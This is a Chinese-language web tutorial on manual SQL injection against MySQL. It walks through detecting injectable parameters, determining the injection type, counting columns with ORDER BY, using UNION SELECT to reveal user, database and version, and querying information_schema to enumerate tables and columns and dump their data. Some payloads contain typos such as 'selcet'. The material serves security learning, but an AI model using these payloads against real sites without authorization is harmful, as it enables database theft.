sql手工注入的方法是什么

发布时间:2022-02-07 09:34:02 作者:iii
来源:亿速云 阅读:227

这篇文章主要介绍“sql手工注入的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“sql手工注入的方法是什么”文章能帮助大家解决问题。

sql手工注入的方法是什么

判断注入点

1.单引号法:直接在网址后面加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在sql注入漏洞

2.1=1和1=2:在网址后面的get传参中加上 and 1=1 ,显示正常,把1=1替换为1=2,显示异常,说明网页存在sql注入。

判断注入类型

1.数字型注入:注入变量的值不需要用引号引起来,如

select * from user where id=$id;

2.字符型注入:注入变量会用引号包裹起来,如`

select * from user where username='$username';`

注入时注意要闭合引号。
3.搜索型注入:

select * from user where username like '%$pass%';

把sql语句构造为

select * from user where username like '%$pass%' union select语句 '%%';

即传输的变量为 pass%’ union select语句 '% 形成闭合。

判断注入点提交方式

通过抓包等方式判断注入点的提交方式是get,post,还是cookie。

使用order by 查询字段

使用order by 语句可以查询出数据库有多少个字段,可以通过不断的尝试来确定数据库字段数量,如在输入oeder by 9时,页面报错而输入order by 8时页面显示正常,即数据库中有8个字段。
如查询语句为:select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'

使用联合查询来查询当前数据库、用户、版本信息

使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:

select * from user where id='' union select user(),database(),version()+--+;

查询当前数据库中的表,列和值

5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。
Information_schema.tables :记录着数据库中所有表名信息的表。
构造的查询语句如下:

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--

查询的结果为:第五步查询的当前数据库中的表名信息。
Information_schema.columns:记录着数据库中所有的表中的列名信息;
下面就应该根据上面查询得到的表名信息(如表为table_1)查询他的列名信息,构造语句如下:

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--

查询出列名后,就可以直接通过联合查询查出表中存储的信息(如查出的列名为column_1,column_2)构造语句

Selcet * from user where id='' union select 1,column_1,column_2 from tables;--

即可查询出指定数据库指定表的存储数据

关于“sql手工注入的方法是什么”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注亿速云行业资讯频道,小编每天都会为大家更新不同的知识点。

推荐阅读:
  1. 手工MSSQL注入常用SQL语句
  2. mysql手工如何注入详解

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql

上一篇:React组件间怎么通信

下一篇:Vue中怎么手动封装自定义指令

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》